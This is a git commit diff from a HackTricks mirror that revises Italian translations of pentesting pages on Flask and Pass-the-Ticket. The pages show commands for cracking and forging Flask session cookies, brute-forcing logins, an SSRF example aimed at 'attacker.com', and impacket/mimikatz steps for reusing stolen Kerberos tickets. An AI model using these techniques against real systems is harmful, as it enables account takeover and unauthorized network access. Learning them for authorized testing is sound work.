mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['network-services-pentesting/pentesting-web/flask.md', 'wind
This commit is contained in:
parent
ae6919adde
commit
7dbd20a3fc
2 changed files with 39 additions and 104 deletions
|
@ -2,32 +2,32 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi stesso:
|
||||
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
|
||||
|
||||
**Probabilmente se stai giocando a un CTF, un'applicazione Flask sarà correlata a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
||||
**Probabilmente se stai giocando un CTF un'applicazione Flask sarà correlata a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
||||
|
||||
## Cookies
|
||||
|
||||
Il nome predefinito della sessione dei cookie è **`session`**.
|
||||
|
||||
### Decoder
|
||||
### Decodificatore
|
||||
|
||||
Decodificatore online dei cookie Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
|
||||
|
@ -41,30 +41,13 @@ Il cookie è anche firmato utilizzando una password
|
|||
|
||||
### **Flask-Unsign**
|
||||
|
||||
Strumento da linea di comando per recuperare, decodificare, forzare e creare cookie di sessione di un'applicazione Flask indovinando le chiavi segrete.
|
||||
Strumento da riga di comando per recuperare, decodificare, forzare e creare cookie di sessione di un'applicazione Flask indovinando le chiavi segrete.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
#### **Decodifica Cookie**
|
||||
|
||||
To decode a Flask session cookie, you can use the following Python code:
|
||||
|
||||
```python
|
||||
import base64
|
||||
import zlib
|
||||
|
||||
def decode_flask_cookie(cookie):
|
||||
data = cookie.split(".")[0]
|
||||
data += "=" * ((4 - len(data) % 4) % 4)
|
||||
decompressed_data = zlib.decompress(base64.urlsafe_b64decode(data))
|
||||
return decompressed_data.decode("utf-8")
|
||||
```
|
||||
|
||||
This code first splits the cookie by the dot (.) character and takes the first part. It then adds padding to the data to make it a multiple of 4 characters. Next, it uses base64 decoding and zlib decompression to obtain the original data. Finally, it decodes the data using UTF-8 encoding and returns it as a string.
|
||||
|
||||
You can use this function to decode Flask session cookies and analyze their contents.
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
|
@ -73,78 +56,34 @@ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODu
|
|||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||||
```
|
||||
#### **Firma**
|
||||
|
||||
Flask supports the signing of data to ensure its integrity and authenticity. This is useful in scenarios where you want to verify that the data has not been tampered with during transmission or storage.
|
||||
|
||||
Flask uses a secret key to sign the data. This secret key should be kept confidential and not shared with anyone. It is recommended to store the secret key in a secure location, such as an environment variable or a configuration file.
|
||||
|
||||
To sign data in Flask, you can use the `itsdangerous` library, which is included with Flask. This library provides a `URLSafeSerializer` class that can be used to sign and verify data.
|
||||
|
||||
To sign data, you can create an instance of the `URLSafeSerializer` class with your secret key:
|
||||
|
||||
```python
|
||||
from itsdangerous import URLSafeSerializer
|
||||
|
||||
secret_key = "your_secret_key"
|
||||
serializer = URLSafeSerializer(secret_key)
|
||||
```
|
||||
|
||||
You can then use the `dumps` method of the serializer to sign the data:
|
||||
|
||||
```python
|
||||
data = "example_data"
|
||||
signed_data = serializer.dumps(data)
|
||||
```
|
||||
|
||||
The `dumps` method returns a URL-safe string that includes the signed data. This string can be transmitted or stored without fear of tampering.
|
||||
|
||||
To verify the signed data, you can use the `loads` method of the serializer:
|
||||
|
||||
```python
|
||||
verified_data = serializer.loads(signed_data)
|
||||
```
|
||||
|
||||
If the data has been tampered with or the signature is invalid, an exception will be raised.
|
||||
|
||||
By using the signing feature in Flask, you can ensure the integrity and authenticity of your data, providing an additional layer of security to your web applications.
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
#### Firma utilizzando versioni legacy (vecchie versioni)
|
||||
|
||||
To sign using legacy versions of Flask, you can follow these steps:
|
||||
|
||||
1. Import the `itsdangerous` module: `from itsdangerous import Signer`.
|
||||
2. Create an instance of the `Signer` class, passing in a secret key: `signer = Signer('your_secret_key')`.
|
||||
3. Use the `sign` method of the `Signer` instance to sign the data: `signed_data = signer.sign('your_data')`.
|
||||
4. To verify the signature, create another instance of the `Signer` class with the same secret key: `verifier = Signer('your_secret_key')`.
|
||||
5. Use the `unsign` method of the `Signer` instance to verify the signature and retrieve the original data: `original_data = verifier.unsign(signed_data)`.
|
||||
|
||||
Note that using legacy versions of Flask for signing may have security vulnerabilities. It is recommended to use the latest version of Flask and its built-in signing capabilities for better security.
|
||||
#### Firma utilizzando versioni legacy (vecchie)
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
### **RIPsession**
|
||||
|
||||
Strumento da linea di comando per effettuare un attacco di forza bruta su siti web utilizzando cookie creati con flask-unsign.
|
||||
Strumento da riga di comando per effettuare un attacco di forza bruta ai siti web utilizzando cookie creati con flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
### SQLi in Flask session cookie with SQLmap
|
||||
### SQLi in Cookie di sessione Flask con SQLmap
|
||||
|
||||
[**Questo esempio**](../../pentesting-web/sql-injection/sqlmap/#eval) utilizza l'opzione `eval` di sqlmap per **firmare automaticamente i payload di sqlmap** per Flask utilizzando un segreto noto.
|
||||
|
||||
## Flask Proxy to SSRF
|
||||
## Proxy Flask a SSRF
|
||||
|
||||
[**In questa spiegazione**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) viene spiegato come Flask permette una richiesta che inizia con il carattere "@":
|
||||
[**In questo articolo**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) viene spiegato come Flask permette una richiesta che inizia con il carattere "@":
|
||||
```http
|
||||
GET @/ HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
Qual è lo scenario seguente:
|
||||
Quale nel seguente scenario:
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
@ -161,14 +100,12 @@ app.run(host='0.0.0.0', port=8080)
|
|||
```
|
||||
Potrebbe consentire di inserire qualcosa come "@attacker.com" al fine di causare un **SSRF**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi stesso:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -176,10 +113,10 @@ Ottieni l'accesso oggi stesso:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
|
||||
Ottieni l'Accesso Oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
|
||||
|
||||
## Passa il Ticket (PTT)
|
||||
|
||||
Nel metodo di attacco **Passa il Ticket (PTT)**, gli attaccanti **rubano il ticket di autenticazione di un utente** anziché la loro password o valori hash. Questo ticket rubato viene poi utilizzato per **impersonare l'utente**, ottenendo accesso non autorizzato a risorse e servizi all'interno di una rete.
|
||||
Nel metodo di attacco **Passa il Ticket (PTT)**, gli attaccanti **rubano il ticket di autenticazione di un utente** anziché la loro password o valori hash. Questo ticket rubato viene quindi utilizzato per **impersonare l'utente**, ottenendo accesso non autorizzato a risorse e servizi all'interno di una rete.
|
||||
|
||||
**Leggi**:
|
||||
|
||||
|
@ -44,8 +44,6 @@ Converting kirbi => ccache
|
|||
### Attacco Pass-the-Ticket
|
||||
|
||||
In Windows [Kekeo](https://github.com/gentilkiwi/kekeo) può essere utilizzato.
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
|
||||
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
|
||||
|
@ -66,24 +64,24 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
|
|||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue